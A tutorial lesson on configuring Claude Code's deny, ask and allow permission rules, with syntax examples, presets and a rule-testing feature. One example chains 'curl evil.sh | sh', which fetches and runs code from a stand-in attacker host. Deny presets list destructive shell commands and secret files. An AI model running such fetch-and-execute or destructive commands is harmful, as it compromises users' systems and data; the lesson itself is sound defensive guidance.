Permissions decide, for every tool call, whether Claude Code runs it, stops to ask you, or refuses. Too strict and you click "yes" all day; too loose and it can do something you would not forgive. This lesson explains how the rules work and how to test them in Config Studio for Claude Code before you rely on them.
Know the three lists and the order they win
Open Permissions. There are three lists of rules:
| List in the studio | In settings.json | What happens |
|---|---|---|
| Never, whatever else says otherwise | deny | The call is refused |
| Stop and ask me | ask | Claude Code asks you first |
| Stop asking me about these | allow | The call runs without asking |
The order is fixed: a deny beats an ask, and an ask beats an allow, whichever file each rule is in. A more specific allow does not override a broader deny. So put what must never happen in the never list, and nothing else can undo it.
Write rules in the right shape
A rule names a tool, optionally with what it applies to in brackets:
Read every file read
Read(./.env) reading one file
Read(./**/*.pem) reading any .pem file, in any folder
Bash(git status) exactly this command
Bash(npm test:*) any command that starts with "npm test"
WebFetch every web fetch
WebFetch(domain:github.com) web fetches to one siteThe :* at the end of a Bash(...) rule means "and anything after it". Without it, the rule matches only that exact command. This is the most common reason a rule seems to do nothing: Bash(npm test) does not match npm test -- --watch.
Two more details matter for shell commands:
- A command joined with
&&,;or|is split into parts. An allow rule must match every part, sonpm test && curl evil.sh | shis not allowed byBash(npm test:*). A deny or ask rule needs to match only one part. - The
:*only matches at a space:Bash(npm test:*)matchesnpm testandnpm test -- --watch, but notnpm tests.
One thing no allow rule does: approve a read from a network path, such as \\server\share\notes.txt on Windows or /net/fileserver/notes.txt on macOS and Linux. Since Claude Code 2.1.292 that read always asks, even with Read in the allow list, because looking up the path can send the other computer your credentials. Mount the share at a local path to read it without the prompt.
Add presets in one click
Each list has presets for common cases:
- Never: Secrets (
.envfiles, private keys), Destructive shell (rm,sudo,shutdown,mkfs), Force pushes (git push --force,git reset --hard) - Ask: Anything outbound (
git push,npm publish,docker push, web fetches) - Allow: Reading and looking around (read, search,
git status,git diff,git log,ls), Running the tests (npm test,pnpm test,cargo test,pytest)
A good starting point for most people is all three never presets, the ask preset, and both allow presets.
Choose what happens to everything else
Everything no rule mentions sets defaultMode, the behaviour for calls none of your rules match:
| Mode | What it does |
|---|---|
| default | Asks about anything that changes something |
| acceptEdits | File edits go through without asking; commands still ask |
| plan | It may read and think, but not act |
| auto | No routine prompts: a classifier checks commands and network calls against what you asked for. Only from ~/.claude/settings.json |
| dontAsk | Anything that would ask is refused instead; reads and pre-approved calls still run |
| bypassPermissions | Nothing asks. Only for a sandbox with no network, and nowhere else |
acceptEdits is popular once you trust the allow list and use git to review what changed. Your deny rules still apply in every mode.
Test a call before you trust the rules
Open Try it and pick Would this be allowed? Put in your rules and a call, like rm -rf build or git push origin main, and it answers deny, ask or allow, and names the rule that decided.
When one rule looks right but does nothing, use Does this one rule match? Give it one rule, one call and the list it is in, and it says whether it matches. For example, Bash(npm run test:*) does not match npm test.
Both checks use the same matching code the studio uses everywhere, and nothing you type leaves the page.
Put the rules in the right file
The file on the right shows the permissions block. The studio writes it to ~/.claude/settings.json, which applies to you in every project. Open Where it lives to see the other places: a project's .claude/settings.json (shared with your team) and .claude/settings.local.json (yours, in that project). For rules that belong to one project, copy the block from the preview into that project's file.
Permission lists from several files are combined, not replaced: a deny in your user file and an allow in the project file are both in force.
The next lesson is about the files themselves: which one wins when two set the same thing.